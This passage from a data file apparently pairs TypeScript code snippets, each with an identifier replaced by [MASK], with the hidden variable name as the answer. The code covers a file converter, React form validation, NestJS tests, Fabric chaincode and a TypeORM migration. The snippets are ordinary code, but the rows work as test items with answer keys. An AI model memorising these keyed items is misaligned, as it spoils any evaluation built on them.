      if ( [MASK]  === 'docx' && targetFormat === 'txt') {
        const arrayBuffer = await file.arrayBuffer();
        const result = await mammoth.extractRawText({ arrayBuffer });
        return new Blob([result.value], { type: 'text/plain' });
      }

      if ( [MASK]  === 'pdf' && targetFormat === 'txt') {
        // For PDF to text conversion, we'll return the original file
        // In a real implementation, you'd use a PDF parsing library
        const text = await file.text();
        return new Blob([text], { type: 'text/plain' });
      }

      if (targetFormat === 'pdf') {
        const pdfDoc = await PDFDocument.create();
        const page = pdfDoc.addPage();
        
        const text = await file.text();
        page.drawText(text, {
          x: 50,
          y: 750,
          size: 12,
        });

        const pdfBytes = await pdfDoc.save();
        return new Blob([pdfBytes], { type: 'application/pdf' });
      }

      // For text-based conversions
      const text = await file.text();
      return new Blob([text], { type: this.getMimeType(targetFormat) });
    } catch (error) {
      throw new Error(`Document conversion failed: ${error}`);
    }
  }

  private async convertAudio(file: File, targetFormat: string, settings: ConversionSettings): Promise<Blob> {
    // Audio conversion in browser is limited
    // For now, we'll return the original file with a note that this requires server-side processing
    console.warn('Audio conversion requires server-side processing or Web Audio API');
    
    // Create a simple converted version by changing the blob type
    const arrayBuffer = await file.arrayBuffer();
    return new Blob([arrayBuffer], { type: this.getMimeType(targetFormat) });
  }

  private async convertVideo(file: File, targetFormat: string, settings: ConversionSettings): Promise<Blob> {
    // Video conversion in browser is very limited
    // For now, we'll return the original file with a note that this requires server-side processing
    console.warn('Video conversion requires server-side processing or WebCodecs API');
    
    // Create a simple converted version by changing the blob type
    const arrayBuffer = await file.arrayBuffer();
    return new Blob([arrayBuffer], { type: this.getMimeType(targetFormat) });
  }

  private async convertArchive(file: File, targetFormat: string, settings: ConversionSettings): Promise<Blob> {
    if (targetFormat === 'zip') {
      const zip = new JSZip();
      
      if (file.type === 'application/zip') {
        // If it's already a zip, recompress with new settings
        const existingZip = await JSZip.loadAsync(file);
        const fileNames = Object.keys(existingZip.files);
        
        for (const fileName of fileNames) {
          const fileData = await existingZip.files[fileName].async('blob');
          zip.file(fileName, fileData);
        }
      } else {
        // Create a new zip with the single file
        zip.file(file.name, file);
      }

      return zip.generateAsync({ 
        type: 'blob',
        compression: 'DEFLATE',
        compressionOptions: {
          level: settings.compressionLevel
        }
      });
    }

    throw new Error(`Unsupported archive format: ${targetFormat}`);
  }

  private getMimeType(format: string): string {
    const mimeTypes: { [key: string]: string } = {
      // Images
      'jpg': 'image/jpeg',
      'jpeg': 'image/jpeg',
      'png': 'image/png',
      'gif': 'image/gif',
      'webp': 'image/webp',
      'bmp': 'image/bmp',
      'tiff': 'image/tiff',
      'svg': 'image/svg+xml',
      'ico': 'image/x-icon',
      'avif': 'image/avif',
      
      // Documents
      'pdf': 'application/pdf',
      'txt': 'text/plain',
      'html': 'text/html',
      'md': 'text/markdown',
      'rtf': 'application/rtf',
      'csv': 'text/csv',
      'xml': 'application/xml',
      
      // Audio
      'mp3': 'audio/mpeg',
      'wav': 'audio/wav',
      'ogg': 'audio/ogg',
      'flac': 'audio/flac',
      'aac': 'audio/aac',
      'm4a': 'audio/mp4',
      
      // Video
      'mp4': 'video/mp4',
      'webm': 'video/webm',
      'avi': 'video/x-msvideo',
      'mov': 'video/quicktime',
      'mkv': 'video/x-matroska',
      'flv': 'video/x-flv',
      
      // Archive
      'zip': 'application/zip'
    };

    return mimeTypes[format.toLowerCase()] || 'application/octet-stream';
  }
}",fileExtension
382,"import { useState } from 'react'
import type { GenderPreference } from '~/types/post'

export interface CreatePostFormData {
  title: string
  description: string
  location: string
  price: string
  available_date: string
  contact_whatsapp: string
  contact_email: string
  contact_telegram: string
  gender_preference: GenderPreference | ''
  extra_info: string
  images: File[]
}

const initialFormData: CreatePostFormData = {
  title: '',
  description: '',
  location: '',
  price: '',
  available_date: '',
  contact_whatsapp: '',
  contact_email: '',
  contact_telegram: '',
  gender_preference: '',
  extra_info: '',
  images: [],
}

export function useCreatePostForm() {
  const [formData, setFormData] = useState<CreatePostFormData>(initialFormData)
  const [errors, setErrors] = useState<Partial<CreatePostFormData>>({})

  const updateField = (field: keyof CreatePostFormData, value: any) => {
    setFormData((prev) => ({ ...prev, [field]: value }))
    // Clear error when user starts typing
    if (errors[field]) {
      setErrors((prev) => ({ ...prev, [field]: undefined }))
    }
  }

  const validateStep = (step: number): boolean => {
    const  [MASK] : Partial<CreatePostFormData> = {}

    switch (step) {
      case 1: // Basic Info
        if (!formData.title.trim()) {
           [MASK] .title = 'Título é obrigatório'
        }
        if (!formData.description.trim()) {
           [MASK] .description = 'Descrição é obrigatória'
        }
        break

      case 2: // Location and Price
        if (!formData.location.trim()) {
           [MASK] .location = 'Localização é obrigatória'
        }
        break

      case 3: // Images (optional step)
        // No validation needed for images
        break

      case 4: // Contact and Preferences
        if (
          !formData.contact_whatsapp &&
          !formData.contact_email &&
          !formData.contact_telegram
        ) {
           [MASK] .contact_whatsapp =
            'Pelo menos uma forma de contato é obrigatória'
        }
        break
    }

    setErrors( [MASK] )
    return Object.keys( [MASK] ).length === 0
  }

  const resetForm = () => {
    setFormData(initialFormData)
    setErrors({})
  }

  return {
    formData,
    errors,
    updateField,
    validateStep,
    resetForm,
  }
}
",newErrors
383,"import { createReadStream, mkdir, stat, writeFile } from 'fs'
import _ from 'lodash'
import minimist from 'minimist'
import { dirname, resolve } from 'path'
import { createInterface } from 'readline'

function readFile(file: string): Promise<string[]> {
  return new Promise(resolve => {
    const  [MASK]  = createInterface({
      input: createReadStream(file),
    })
    const lines: string[] = []
     [MASK] .on('line', line => lines.push(line))
     [MASK] .on('close', () => resolve(lines))
  })
}

function getName(word: string): string {
  let result = ''
  for (let i = 0, length = word.length; i < length; i += 1) {
    const char = word.charAt(i)
    if (char === '(' || char === '<') break
    result += char
  }
  return result
}

function existsP(file: string): Promise<boolean> {
  return new Promise(resolve => {
    stat(file, e => resolve(e ? false : true))
  })
}

function mkdirP(file: string): Promise<void> {
  return new Promise((resolve, reject) => {
    mkdir(file, e => e ? reject(e) : resolve())
  })
}

function writeFileP(file: string, data: any): Promise<void> {
  return new Promise((resolve, reject) => {
    writeFile(file, data, e => e ? reject(e) : resolve())
  })
}

class Import {
  public useRequire?: boolean
  public importAs?: string
  public imports: string[] = []

  constructor(public readonly moduleName: string) {
  }

  private get sortedImports(): string[] {
    return this.imports.sort()
  }

  public apply(line: string): void {
    if (line.startsWith('import ')) {
      let importAs: string|undefined
      let imports: string[] = []

      // import ... from '...'
      if (line.indexOf(' from ') > -1) {
        if (line.indexOf('{ ') > -1 && line.indexOf(' }') > -1) {
          const startIndex = line.indexOf('{ ') + 2
          const endIndex = line.indexOf(' }')
          imports = line.substring(startIndex, endIndex).split(', ')
        }
        else {
          importAs = line.substring(7, line.indexOf(' from '))
        }
      }
      // import ... = require('...')
      else if (line.indexOf(' = require(') > -1) {
        this.useRequire = true
        importAs = line.substring(7, line.indexOf(' = '))
      }
      // import '...'
      else if (line.indexOf(`import '`) === 0) {
        // do nothing
      }

      // different names
      if (importAs && this.importAs && importAs !== this.importAs) {
        throw new SyntaxError(`Multiple alias names ${this.importAs} and ${importAs} for '${this.moduleName}'`)
      }

      // multiple formats
      if (this.useRequire && this.imports.length) {
        throw new SyntaxError(`import { ... } from '${this.moduleName}' and import ... = require('${this.moduleName}') are used at the same time`)
      }

      if (importAs) this.importAs = importAs
      if (imports.length) this.imports = Array.from(new Set([...this.imports, ...imports]))
    }
  }

  // @override
  public toString(): string {
    if (!this.importAs && !this.imports.length) {
      return `import '${this.moduleName}'`
    }
    else if (this.importAs && !this.imports.length) {
      return this.useRequire
        ? `import ${this.importAs} = require('${this.moduleName}')`
        : `import ${this.importAs} from '${this.moduleName}'`
    }
    else if (!this.importAs && this.imports.length) {
      return `import { ${this.sortedImports.join(', ')} } from '${this.moduleName}'`
    }
    else /* if (this.importName && this.imports.length) */ {
      return `import ${this.importAs}, { ${this.sortedImports.join(', ')} } from '${this.moduleName}'`
    }
  }
}

(async () => {
  const args = minimist(process.argv.slice(2))
  const indexFile = resolve(__dirname, '..', args._[0])
  if (!indexFile) throw new SyntaxError(`Missing index file`)

  const imports: Import[] = []
  let exports_: string[] = []
  let content: string[] = []
  const check: { [key: string]: boolean } = {}

  async function processFile(file: string): Promise<void> {
    if (!check[file.toLocaleLowerCase()]) {
      check[file.toLocaleLowerCase()] = true
      const dir = dirname(file)
      const lines = await readFile(file)
      for (const line of lines) {
        if (line.startsWith('import') || (line.startsWith('export') && line.indexOf(' from ') > -1)) {
          let index = -1, nextFile = ''
          // export { ... } from '...'
          if (line.startsWith('export') && (index = line.indexOf(' from ')) > -1) {
            nextFile = line.substr(index + 6)
            const startIndex = line.indexOf('{ ') + 2
            const endIndex = line.indexOf(' }')
            if (file === indexFile) exports_.push(...line.substring(startIndex, endIndex).split(', '))
          }
          // import ... from '...'
          else if (line.startsWith('import') && (index = line.indexOf(' from ')) > -1) {
            nextFile = line.substr(index + 6)
          }
          // import ... = require('...')
          else if ((index = line.indexOf(' = require(')) > -1) {
            nextFile = line.substr(index + 11)
            nextFile = nextFile.substr(0, nextFile.length - 1)
          }
          // import '...'
          else if (line.indexOf(`import '`) === 0) {
            nextFile = line.substr(7)
          }
          nextFile = nextFile.substring(1, nextFile.length - 1)
          if (nextFile.startsWith('.')) {
            nextFile = resolve(dir, nextFile)
            nextFile = require.resolve(nextFile)
            await processFile(nextFile)
          }
          else if (line.startsWith('import ')) {
            if (!imports.find(({ moduleName }) => moduleName === nextFile)) {
              imports.push(new Import(nextFile))
            }
            const import_ = imports.find(({ moduleName }) => moduleName === nextFile) as Import
            import_.apply(line)
          }
        }
        else {
          content.push(line)
        }
      }
    }
  }

  await processFile(indexFile)

  exports_ = _.uniq(exports_)
  for (let i = 0, length = content.length; i < length; i += 1) {
    const line = content[i]
    if (line.startsWith('export ')) {
      let name: string|undefined
      const words = line.split(/(\s+)/).filter(w => w !== ' ')
      if (words[1] === 'abstract') words.splice(1, 1)
      if (words[1] === 'const' || words[1] === 'class' || words[1] === 'interface' || words[1] === 'type' || words[1] === 'function') {
        name = getName(words[2])
      }
      if (name) {
        const index = exports_.indexOf(name)
        if (index > -1) continue
      }
      content[i] = line.substr(7)
    }
  }

  const outDir = resolve(__dirname, '../intermediate')
  if (!await existsP(outDir)) await mkdirP(outDir)
  imports.sort(({ moduleName: l }, { moduleName: r }) => l.localeCompare(r))
  content = imports.map(i => i.toString()).concat(content)

  if (args['post'] || args['p']) {
    const fn = require(args['post'] || args['p']).default
    content = fn(content)
  }

  await writeFileP(`${outDir}/index.ts`, content.join('\n') + '\n')
})()
",reader
384,"import { Test, TestingModule } from '@nestjs/testing';
import { ContactsController } from './contacts.controller';
import { ContactsService } from './contacts.service';

describe('ContactsController', () => {
  let contactsController: ContactsController;

  beforeEach(async () => {
    const  [MASK] : TestingModule = await Test.createTestingModule({
      imports: [],
      controllers: [ContactsController],
      providers: [ContactsService],
    }).compile();

    contactsController =  [MASK] .get<ContactsController>(ContactsController);
  });

  describe('root', () => {
    it('should return an empty list of contacts', () => {
      const list = contactsController.getContacts();
      expect(list.length).toBe(0);
    });
    it('should return a list of contacts', () => {
      contactsController.insertContact({
        firstName: 'Carlos',
        lastName: 'Gonzalez',
        email: '<EMAIL>',
        phone: '1231231234',
        company: 'abc company'
      })
      const list = contactsController.getContacts();
      expect(list.length).toBe(1);
    });
    it('should return a contact', () => {
      const contact = contactsController.insertContact({
        firstName: 'Carlos',
        lastName: 'Gonzalez',
        email: '<EMAIL>',
        phone: '1231231234',
        company: 'abc company'
      })
      const c = contactsController.getContactById(contact.id);
      expect(c.id).toBe(contact.id);
    });
    it('should create a contact', () => {
      const contact = contactsController.insertContact({
        firstName: 'Carlos',
        lastName: 'Gonzalez',
        email: '<EMAIL>',
        phone: '1231231234',
        company: 'abc company'
      })
      expect(contact.id).toBeDefined();
    });
    it('should update a contact', () => {
      let contact = contactsController.insertContact({
        firstName: 'Carlos',
        lastName: 'Gonzalez',
        email: '<EMAIL>',
        phone: '1231231234',
        company: 'abc company'
      })
      contact = contactsController.updateContact(contact.id, {
        firstName: '<NAME>',
        lastName: 'Gonzalez',
        email: '<EMAIL>',
        phone: '1231231234',
        company: 'abc company'
      })
      expect(contact.firstName).toBe('<NAME>');
    });
    it('should delete a contact', () => {
      let contact = contactsController.insertContact({
        firstName: 'Carlos',
        lastName: 'Gonzalez',
        email: '<EMAIL>',
        phone: '1231231234',
        company: 'abc company'
      })
      contactsController.deleteContact(contact.id);
      const list = contactsController.getContacts();
      expect(list.length).toBe(0);
    });
  });
});
",app
385,"/**
 * Copyright (C) 2020, RTE (http://www.rte-france.com)
 * SPDX-License-Identifier: Apache-2.0
*/


import {ChaincodeResponse, ChaincodeStub, Shim} from 'fabric-shim';
import * as util from 'util';
import {PowerPlanEnergyScheduleController} from './powerPlanEnergySchedule/PowerPlanEnergyScheduleController';
import {EDAController} from './eda/EDAController';
import {EDPController} from './edp/EDPController';
import {MethodComponent} from '../enums/MethodComponent';
import {Log} from '../logger/Log';
import {BidController} from './bid/BidController';
import {MVController} from './MV/MVController';
import {HVController} from './HV/HVController';
import {LogOrderController} from './logOrder/LogOrderController';
import {OrderBySiteActivationDocumentController} from './orderBySiteActivationDocument/OrderBySiteActivationDocumentController';
import {SiteController} from './site/SiteController';
import {IController} from '../interfaces/IController';
import {Controller} from '../enums/Controller';
import {IOrganization} from '../interfaces/IOrganization';
import {ActivationController} from './activation/ActivationController';

export class Chaincode {
  public async Init(stub: ChaincodeStub): Promise<ChaincodeResponse> {
    Log.chaincode.debug('========= Chaincode Init =========');
    Log.chaincode.debug('========= END : Initialize Ledger =========');

    return Shim.success();
  }

  public async Invoke(stub: ChaincodeStub): Promise<ChaincodeResponse> {
    Log.chaincode.debug(`Transaction ID: ${stub.getTxID()}`);
    Log.chaincode.debug(util.format('Args: %j', stub.getArgs()));

    const functionAndParameters = stub.getFunctionAndParameters();
    const controllerName: string = functionAndParameters.fcn.split('.')[
      MethodComponent.Controller
    ];
    const functionName: string = functionAndParameters.fcn.split('.')[
      MethodComponent.Function
    ];
    const params = JSON.parse(functionAndParameters.params[0]);
    const organization: IOrganization = JSON.parse(
      functionAndParameters.params[1]
    );

    let payload: any;

    try {
      const controller: IController = this.getController(stub, controllerName);

      if (typeof controller[functionName] !== 'function') {
        throw new Error(`No function named: ${functionAndParameters.fcn}`);
      }

      payload = await controller[functionName].apply(controller, [
        ...params,
        organization
      ]);

      if (!payload) {
        return Shim.success();
      }

      return Shim.success(Buffer.from(JSON.stringify(payload)));
    } catch (error) {
      Log.chaincode.error(error);

      return Shim.error(error);
    }
  }

  private getController(stub: ChaincodeStub, controller: string): IController {
    const  [MASK] : Map<Controller, IController> = new Map<
      Controller,
      IController
    >([
      [
        Controller.PowerPlanEnergySchedule,
        new PowerPlanEnergyScheduleController(stub)
      ],
      [Controller.EDA, new EDAController(stub)],
      [Controller.EDP, new EDPController(stub)],
      [Controller.MV, new MVController(stub)],
      [Controller.HV, new HVController(stub)],
      [Controller.LogOrder, new LogOrderController(stub)],
      [Controller.Bid, new BidController(stub)],
      [Controller.Site, new SiteController(stub)],
      [
        Controller.OrderBySite,
        new OrderBySiteActivationDocumentController(stub)
      ],
      [Controller.Activation, new ActivationController(stub)]
    ]);

    if ( [MASK] .has(Controller[controller])) {
      return  [MASK] .get(Controller[controller]) as IController;
    } else {
      throw new Error(`No known controller for transaction ${stub.getTxID()}`);
    }
  }
}
",controllers
386,"
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Injectable } from '@angular/core';
import { JwtHelper} from 'angular2-jwt';
import { Storage } from ""@ionic/storage"";
/*
  Generated class for the AuthProvider provider.

  See https://angular.io/guide/dependency-injection for more info on providers
  and Angular DI.
*/
@Injectable()
export class AuthProvider {
  user: string;
  isAuth: boolean;
  
  private LOGIN_URL = ""https://sheltered-temple-30239.herokuapp.com/users/login"";
  private SIGNUP_URL = ""https://sheltered-temple-30239.herokuapp.com/users/create"";
  private CHAT_URL = ""https://sheltered-temple-30239.herokuapp.com/chats"";
  /*
  private LOGIN_URL = ""http://localhost:3001/users/login"";
  private SIGNUP_URL = ""http://localhost:3001/users/create"";
  private CHAT_URL = ""http://localhost:3001/chats"";
  */

  httpHeader = new HttpHeaders({'Content-Type':'application/json; charset=utf-8'});
  jwtHelper = null;

  constructor(
    private storage: Storage,
    private http: HttpClient) {
           
      this.isAuth = false;

      console.log('AuthProvider Provider');
      storage.ready().then(() => {
        storage.get('user').then(user => {
          
          
          if (user) { 
            console.log(""logged in user found = "" + user);
            this.user = user;
            this.isAuth = true;
          } else {
            console.log(""no logged in user found"");
          }
          
        }).catch(console.log);
      });

      this.jwtHelper = new JwtHelper();

  }



  logout() {
    this.storage.remove('token');
    this.storage.remove('user');
    this.user = null;
    this.isAuth = false;
  }

  public getAuthStatus() {
    return this.isAuth;
  }

  signup(formData) {
    return this.http.post(this.SIGNUP_URL, JSON.stringify(formData),
    { headers: this.httpHeader });
  }

  loginUser( [MASK] ) {
    return this.http.post(this.LOGIN_URL, JSON.stringify( [MASK] ),
    { headers: this.httpHeader });
  }

  loadSavedMessages() {
    console.log(""load saved messages"");
    console.log(""this.getAuthStatus() = "" + this.getAuthStatus());

    //if (this.getAuthStatus()) {
      console.log(""returnin chats"");
      return this.http.get(this.CHAT_URL,
        { headers: this.httpHeader });
        
   // } else {
    //  console.log(""return null"");
    //  return Observable.empty();
   // }
    
  }

  authSuccess(token) {
    console.log(""authSuccess"");
    console.log(token);
    this.storage.set('token', token);
    this.user = this.jwtHelper.decodeToken(token).name;
    console.log(""logged in user name is "" + this.user);
    this.storage.set('user', this.user);
    this.isAuth = true;
  }

  getUserData() {
    return this.user;
  }

}
",credentials
387,"require('libsys/shim');
import {socket, AF, SOCK, hton16, Ipv4, setsockopt, SOL, fcntl, FCNTL, FLAG,
    SO, bind, sockaddr_in, sockaddr, listen, accept, recv, send, Isockaddr_in,
    kqueue, ERROR, EVFILT, EV, keventStruct, IkeventStruct, kevent} from '../platforms/darwin';

let err;
const BUFFER_SIZE = 1024;
const printf = console.log;
const strerror = (errno: number) => ERROR[Math.abs(errno)];
const on_error = (...args: any[]) => {
    printf(...args);
    process.exit(1);
};

if (process.argv.length < 3) on_error(""Usage: ts-node %s <port>\n"", process.argv[1]);
const port = parseInt(process.argv[2]);

function event_server_listen (port: number): [number, number] {
    let err;

    const queue = kqueue();
    if (queue < 0) on_error(""Could not create kqueue: %s\n"", ERROR[-queue]);

    const server_fd = socket(AF.INET, SOCK.STREAM, 0);
    if (server_fd < 0) on_error(""Could not create server socket: %s\n"", strerror(server_fd));

    const server: Isockaddr_in = {
        sin_family: AF.INET,
        sin_port: hton16(port),
        sin_addr: {
            s_addr: new Ipv4('0.0.0.0'),
        },
        sin_zero: [0, 0, 0, 0, 0, 0, 0, 0],
    };

    const  [MASK]  = new Buffer([1]);
    setsockopt(server_fd, SOL.SOCKET, SO.REUSEADDR,  [MASK] );

    err = bind(server_fd, server, sockaddr_in);
    if (err < 0) on_error(""Could not bind server socket: %s\n"", strerror(err));

    const flags = fcntl(server_fd, FCNTL.GETFL, 0);
    if (flags < 0) on_error(""Could not get server socket flags: %s\n"", strerror(flags))

    err = fcntl(server_fd, FCNTL.SETFL, flags | FLAG.O_NONBLOCK);
    if (err < 0) on_error(""Could set server socket to be non blocking: %s\n"", strerror(err));
    
    err = listen(server_fd, 128);
    if (err < 0) on_error(""Could not listen: %s\n"", strerror(err));

    return [server_fd, queue];
}

/*
function event_change (server_fd: number, filter: number, flags: number, udata: [number, number]) {
    const e: IkeventStruct = {
        ident: [server_fd, 0],
        filter,
        flags,
        fflags: 0,
        data: [0, 0],
        udata: udata,
    };
    const event = keventStruct.pack(e);
struct kevent *e;

if (events_alloc == 0) {
events_alloc = 64;
events = malloc(events_alloc * sizeof(struct kevent));
}
if (events_alloc <= events_used) {
events_alloc *= 2;
events = realloc(events, events_alloc * sizeof(struct kevent));
}

int index = events_used++;
e = &events[index];

e->udata = udata;
}
*/

function event_loop () {
    // int new_events;

    while (1) {
        // new_events = kevent(queue, events, events_used, events, events_alloc, NULL);
        // if (new_events < 0) on_error(""Event loop failed: %s\n"", strerror(errno));
        // events_used = 0;

        // for (int i = 0; i < new_events; i++) {
        // struct kevent *e = &events[i];
        // struct event_data *udata = (struct event_data *) e->udata;

        // if (udata == NULL) continue;
        // if (udata->on_write != NULL && e->filter == EVFILT_WRITE) while (udata->on_write(udata, e));
        // if (udata->on_read != NULL && e->filter == EVFILT_READ) while (udata->on_read(udata, e));
        // }
    }
}

const event_on_accept = () => {};
const event_on_read = () => {};

const server = {
    on_read: event_on_accept,
    on_write: null,
};

const [server_fd, queue] = event_server_listen(port);
// event_change(server_fd, EVFILT.READ, EV.ADD | EV.ENABLE, server);
const e: IkeventStruct = {
    ident: [server_fd, 0],
    filter: EVFILT.READ,
    flags: EV.ADD | EV.ENABLE,
    fflags: 0,
    data: [0, 0],
    udata: [0, 0],
};
const event = keventStruct.pack(e);
// event_loop();

// console.log('queue', queue);

/*
static struct kevent *events;
static int events_used = 0;
static int events_alloc = 0;

static struct sockaddr_in server;

struct event_data {
  char buffer[BUFFER_SIZE];
  int buffer_read;
  int buffer_write;

  int (*on_read) (struct event_data *self, struct kevent *event);
  int (*on_write) (struct event_data *self, struct kevent *event);
};



static int event_flush_write (struct event_data *self, struct kevent *event) {
  int n = write(event->ident, self->buffer + self->buffer_write, self->buffer_read - self->buffer_write);

  if (n < 0) {
    if (errno == EWOULDBLOCK || errno == EAGAIN) return 0;
    on_error(""Write failed (should this be fatal?): %s\n"", strerror(errno));
  }

  if (n == 0) {
    free(self);
    close(event->ident);
    return 0;
  }

  self->buffer_write += n;

  if (self->buffer_write == self->buffer_read) {
    self->buffer_read = 0;
    self->buffer_write = 0;
  }

  return 0;
}

static int event_on_read (struct event_data *self, struct kevent *event) {
  if (self->buffer_read == BUFFER_SIZE) {
    event_change(event->ident, EVFILT_READ, EV_DISABLE, self);
    return 0;
  }

  int n = read(event->ident, self->buffer + self->buffer_read, BUFFER_SIZE - self->buffer_read);

  if (n < 0) {
    if (errno == EWOULDBLOCK || errno == EAGAIN) return 0;
    on_error(""Read failed (should this be fatal?): %s\n"", strerror(errno));
  }

  if (n == 0) {
    free(self);
    close(event->ident);
    return 0;
  }

  if (self->buffer_read == 0) {
    event_change(event->ident, EVFILT_WRITE, EV_ENABLE, self);
  }

  self->buffer_read += n;
  return event_flush_write(self, event);
}

static int event_on_write (struct event_data *self, struct kevent *event) {
  if (self->buffer_read == self->buffer_write) {
    event_change(event->ident, EVFILT_WRITE, EV_DISABLE, self);
    return 0;
  }

  return event_flush_write(self, event);
}

static int event_on_accept (struct event_data *self, struct kevent *event) {
  struct sockaddr client;
  socklen_t client_len = sizeof(client);

  int client_fd = accept(server_fd, &client, &client_len);
  int flags;
  int err;

  if (client_fd < 0) {
    if (errno == EWOULDBLOCK || errno == EAGAIN) return 0;
    on_error(""Accept failed (should this be fatal?): %s\n"", strerror(errno));
  }

  flags = fcntl(client_fd, F_GETFL, 0);
  if (flags < 0) on_error(""Could not get client socket flags: %s\n"", strerror(errno));

  err = fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
  if (err < 0) on_error(""Could not set client socket to be non blocking: %s\n"", strerror(errno));

  struct event_data *client_data = (struct event_data *) malloc(sizeof(struct event_data));
  client_data->on_read = event_on_read;
  client_data->on_write = event_on_write;

  event_change(client_fd, EVFILT_READ, EV_ADD | EV_ENABLE, client_data);
  event_change(client_fd, EVFILT_WRITE, EV_ADD | EV_ENABLE, client_data);

  return 1;
}
*/
",opt_val
388,"import { PrismaClient, Product } from '@prisma/client';
import type { NextApiRequest, NextApiResponse } from 'next';

const prisma = new PrismaClient();

type Data = {
  error?: string;
  products?: Product[];
};

export default async function handler(req: NextApiRequest,  [MASK] : NextApiResponse<Data>) {
  const { customerId } = req.query;

  if (req.method !== 'GET') {
    return  [MASK] .status(405).json({ error: 'Method not allowed' });
  }

  try {
    const cart = await prisma.cart.findUnique({
      where: { customerID: parseInt(customerId as string) },
      include: {
        products: true,
      },
    });

    if (!cart) {
      return  [MASK] .status(404).json({ error: 'Cart not found' });
    }

     [MASK] .status(200).json({ products: cart.products });
  } catch (error) {
    console.error(error);
     [MASK] .status(500).json({ error: 'Internal server error' });
  }
}
",res
389,"import {MigrationInterface, QueryRunner, Table, TableForeignKey} from 'typeorm';
import {Task, Tag} from '../entity';

const initialTags: Omit<Tag, 'id'>[] = [
  {
    label: 'Family',
  },
  {
    label: 'Health',
  },
  {
    label: 'Home',
  },
  {
    label: 'Shopping',
  },
];

export class InitializeDatabase1582287513601 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<any> {
    await queryRunner.createTable(
      new Table({
        name: 'tasks',
        columns: [
          {
            name: 'id',
            type: 'text',
            isGenerated: true,
            isPrimary: true,
            isNullable: false,
            generationStrategy: 'uuid',
          },

          {
            name: 'title',
            type: 'text',
            isNullable: false,
          },
        ],
      }),
    );

    await queryRunner.createTable(
      new Table({
        name: 'tags',
        columns: [
          {
            name: 'id',
            type: 'text',
            isGenerated: true,
            isPrimary: true,
            isNullable: false,
            generationStrategy: 'uuid',
          },
          {
            name: 'label',
            type: 'text',
            isNullable: false,
            isUnique: true,
          },
        ],
      }),
    );

    const  [MASK]  = new Table({
      name: 'tasks_tags_tags',
      columns: [
        {
          name: 'tasksId',
          type: 'text',
          isNullable: false,
        },
        {
          name: 'tagsId',
          type: 'text',
          isNullable: false,
        },
      ],
    });
    await queryRunner.createTable( [MASK] );
    await queryRunner.createPrimaryKey( [MASK] , ['tasksId', 'tagsId']);
    await queryRunner.createForeignKeys( [MASK] , [
      new TableForeignKey({
        name: 'FK_TASK_ID',
        columnNames: ['tasksId'],
        referencedColumnNames: ['id'],
        referencedTableName: 'tasks',
        onDelete: 'CASCADE',
        onUpdate: 'NO ACTION',
      }),
      new TableForeignKey({
        name: 'FK_TAG_ID',
        columnNames: ['tagsId'],
        referencedColumnNames: ['id'],
        referencedTableName: 'tags',
        onDelete: 'CASCADE',
        onUpdate: 'NO ACTION',
      }),
    ]);

    const databaseTags: Tag[] = initialTags.map(tag => {
      const sqliteTag = new Tag();
      sqliteTag.label = tag.label;

      return sqliteTag;
    });

    await queryRunner.manager.save(databaseTags);

    const task1 = new Task();
    task1.title = 'Task with Family and Health tags';
    task1.tags = [databaseTags[0], databaseTags[1]];

    const task2 = new Task();
    task2.title = 'Task with Family and Home tags';
    task2.tags = [databaseTags[0], databaseTags[2]];

    const databaseTasks = [task1, task2];
    queryRunner.manager.save(databaseTasks);
  }

  public async down(queryRunner: QueryRunner): Promise<any> {
    await queryRunner.dropTable('tags', true, true, true);
    await queryRunner.dropTable('tasks', true, true, true);
    await queryRunner.dropTable('tasks_tags_tags', true, true, true);
  }
}
",TasksTagsTable
390,"import { MWView, MWViewPlugin } from ""./MWViewPlugin""

type AddViewAction = {
    type: 'AddView'
    plugin: MWViewPlugin
    label: string
    area: 'north' | 'south' | ''
    extraProps?: {[key: string]: any}
}

type CloseViewAction = {
    type: 'CloseView'
    view: MWView
}

type SetViewAreaAction = {
    type: 'SetViewArea'
    viewId: string
    area: 'north' | 'south'
}

export type OpenViewsAction = AddViewAction | CloseViewAction | SetViewAreaAction

let lastViewIdNum: number = 0
const openViewsReducer: React.Reducer<MWView[], OpenViewsAction> = ( [MASK] : MWView[], action: OpenViewsAction): MWView[] => {
    if (action.type === 'AddView') {
        const plugin = action.plugin
        if (plugin.singleton) {
            for (let v0 of  [MASK] ) {
                if ((v0.plugin.name === plugin.name) && (JSONStringifyDeterministic(v0.extraProps || {}) === (JSONStringifyDeterministic(action.extraProps || {})))) {
                    v0.activate = true
                    return [... [MASK] ]
                }
            }
        }
        lastViewIdNum ++
        const v = new MWView(plugin, action.extraProps || {}, action.label, lastViewIdNum + '')
        v.activate = true // signal to set this as active
        v.area = action.area
        return [... [MASK] , v].sort((a, b) => (a.plugin.label > b.plugin.label ? 1 : a.plugin.label < b.plugin.label ? -1 : 0))
    }
    else if (action.type === 'CloseView') {
        return  [MASK] .filter(v => (v !== action.view))
    }
    else if (action.type === 'SetViewArea') {
        return  [MASK] .map(v => (v.viewId === action.viewId ? {...v, area: action.area, activate: true} : v))
    }
    else return  [MASK] 
}

// Thanks: https://stackoverflow.com/questions/16167581/sort-object-properties-and-json-stringify
export const JSONStringifyDeterministic = ( obj: Object, space: string | number | undefined =undefined ) => {
    var allKeys: string[] = [];
    JSON.stringify( obj, function( key, value ){ allKeys.push( key ); return value; } )
    allKeys.sort();
    return JSON.stringify( obj, allKeys, space );
}

export default openViewsReducer",state
391,"/*
* Copyright 2018 <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the ""License"");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*     http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an ""AS IS"" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { ServerPlugin, ServerAPI, ActionResult, 
        ALARM_METHOD, ALARM_STATE, 
        DeltaMessage, DeltaUpdate } from '@panaaj/sk-types';
import PouchDB from 'pouchdb';
import path from 'path';
import fs from 'fs';
import mkdirp from 'mkdirp';
import { Watcher, Notifier, Notification, STANDARD_ALARMS } from './lib/alarms';


const CONFIG_SCHEMA= {
    properties: {
        navData: {
            title: ""Course"",
            type: ""object"",
            description: 'Provider for: courseGreatCircle: activeRoute, nextPoint, previousPoint',
        }
    }
}

const CONFIG_UISCHEMA= {}

// ** active navigation.courseGreatCircle data **
interface NavData {          
    activeRoute: {
        href: string | null;
